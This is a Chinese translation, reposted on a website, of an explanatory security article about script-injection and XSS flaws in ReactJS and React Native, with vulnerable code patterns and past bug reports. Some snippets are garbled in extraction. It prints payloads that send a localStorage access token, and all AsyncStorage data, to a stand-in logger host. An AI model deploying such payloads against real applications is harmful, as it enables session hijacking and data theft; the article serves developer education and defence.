前言

业务中了解到的。今日早读文章由@Twosecurity分享。

正文从这开始~~

ReactJS 概述

是一款用于构建用户界面的JavaScript库。它能预加载Web前端,给用户带来更舒适的体验。React已经实现了绝大部分的客户端逻辑(比如说React能自动编码字符串),因此开发者大抵不用担心。

因此,只要合理使用,你的应用就不会有太大的安全隐患。然而这些防御措施还是会因为坏的编程习惯而失效,比方说:

就像墨非定律说的那样,这些隐患随时都会产生漏洞。让我慢慢道来。

Components, Props和Elements

Component(组件)是最基本的对象。它们就像JavaScript的函数一样,接受任意输入(就是后文的props)并返回一个React Element(元素)。一个基本的component如下:

  1. class Welcome extends React.Component {

  2. render() {

  3. return

    Hello, {this.props.name}</h1>;

  4. }

  5. }

注意看奇葩的return,它返回的东西叫JSX。JSX是JavaScript语法的扩展,它会被自动转译成正常的JavaScript(ES5)代码。就拿下面的代码来说,虽然它们形式不一样,但功效相同:

  1. // JSX代码


  2. const element = (

  3. <h1 className="greeting">

  4. Hello, world!

  5. </h1>

  6. );


  7. // 被转译过后的代码


  8. const element = React.createElement(

  9. h1’,

  10. {className: greeting’},

  11. Hello, world!’

  12. );

在React中,开发者可以用createElement()来从component类中创建新的元素:

  1. React.createElement(

  2. type,

  3. [props],

  4. [...children]

  5. )

这个函数用了这三个参数:

当你控制了其中的参数,你可以发动许多攻击

注入子节点

在2015年3月,Daniel LeCheminant汇报了一个HackerOne的存储形。导致这个问题的原因是HackerOne会将客户端提供的一个对象当作children传给React.createElement()。代码大概如下:

  1. /* 获取用户提供的参数,并将其当作JSON解析

  2. attacker_supplied_value = JSON.parse(some_user_input)

  3. */

  4. render() {

  5. return {attacker_supplied_value}</span>;

  6. }

JSX会被转译成这样:React.createElement(“span”, null, attackersuppliedvalue};

当attackersuppliedvalue是字符串时,该代码会返回一个span元素。不过在参数为简单对象时,这个函数也会正常执行。Daniel在props中添加dangerouslySetInnerHTML来阻止React转码HTML:

  1. {

  2. _isReactElement: true,

  3. _store: {},

  4. type: "body",

  5. props: {

  6. dangerouslySetInnerHTML: {

  7. __html:

  8. "

    Arbitrary HTML

  9. alert(‘No CSP Support :(‘)

  10. link"

  11. }

  12. }

  13. }

后来,React的元素需要有$$typeof: Symbol.for(‘react.element’) 才能被正确识别。因为在注入对象时不能引用全局JavaScript Symbol,Daniel的方法也就随之失效了。

控制Element类型

虽然注入简单对象这个方法不能使用了,但是createElement的type参数支持字符串,因此注入component也还是有可能的。假设有以下代码:

  1. // 用后端提供的字符串创建element

  2. element_name = stored_value;

  3. React.createElement(element_name, null);

如果stored_value被攻击者控制,那么可以通过其创建任意React component。不过这样也只能创建简单的HTML元素。为了更好地利用,攻击者必须控制新建元素时的属性参数。

注入props

我们来看看一下代码:

  1. // 解析攻击者提供的JSON并传给createElement中

  2. // 危险代码,请勿模仿

  3. attacker_props = JSON.parse(stored_value)

  4. React.createElement("span", attacker_props};

我们可以以此注入任意props参数,比方说开启dangerouslySetInnerHTML:

  1. {"dangerouslySetInnerHTML" : { "__html": ""}}

传统XSS

一些传统的XSS攻击向量也可以被应用到ReactJS中,我将列举一些情况:

设置了dangerouslySetInnerHTML

开发者可能因种种原因启用了 dangerouslySetInnerHTML:

很显然,当你控制了它的参数后,你可以注入任意JavaScript代码

可注入的属性

如果你控制了一个动态创建的a标签中的href属性,那么便可以尝试注入javascript:伪协议。还有一些HTML5的属性(formactin),也可以被用来当攻击点。

  1. <a href={userinput}>Link

  2. <button form="name" formaction={userinput}>

当浏览器支持HTML5的import时,如下代码也会生效:

服务端渲染的HTML

为了减少页面加载的时间,人们渐渐倾向于在服务端预渲染ReactJS。在16年11月,Emilia Smith指出因为缺乏转码,Redux的服务端预渲染代码会导致XSS。

当然,只要在预渲染时缺乏转码,任何Web应用都会有类似问题。

基于Eval的代码注入

当你控制了一个被传入eval到执行的字符串,执行自己的代码便不在话下。不过这种情况凤毛麟角。

  1. function antiPattern() {

  2. eval(this.state.attacker_supplied);

  3. }

  4. // Or even crazier

  5. fn = new Function("..." + attacker_supplied + "...");

  6. fn();

持久化 session

对于现代Web应用而言,session cookies已经过时了。身处时代前沿的开发者一般在用无状态的session tokens,并将其存储在客户端的local storage。因此我们也要改变攻击手段了:

  1. fetch('http://example.com/logger.php?token='+localStorage.access_token);

React Native 中的注入

React Native让你可以用ReactJS在移动端编写程序,然而前文提到的手段大多在React Native中不管用:

只有基于eval的攻击才能被执行。不过当你成功地执行了JS时,就能使用React Native的API来做破坏力更强的事,比如通过AsyncStorage盗取local storage的所有数据:

  1. _reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});

总结

即使React安全防御先天良好,坏的编程习惯依然会带来种种漏洞。我给大家带来两个忠告:

关于本文译者:@Twosecurity译文:原文:@muellerberndt/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1

为你推荐

限时特惠:本站每日持续更新海量各大内部网赚创业教程,会员可以下载全站资源点击查看详情
站长微信:11082411

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。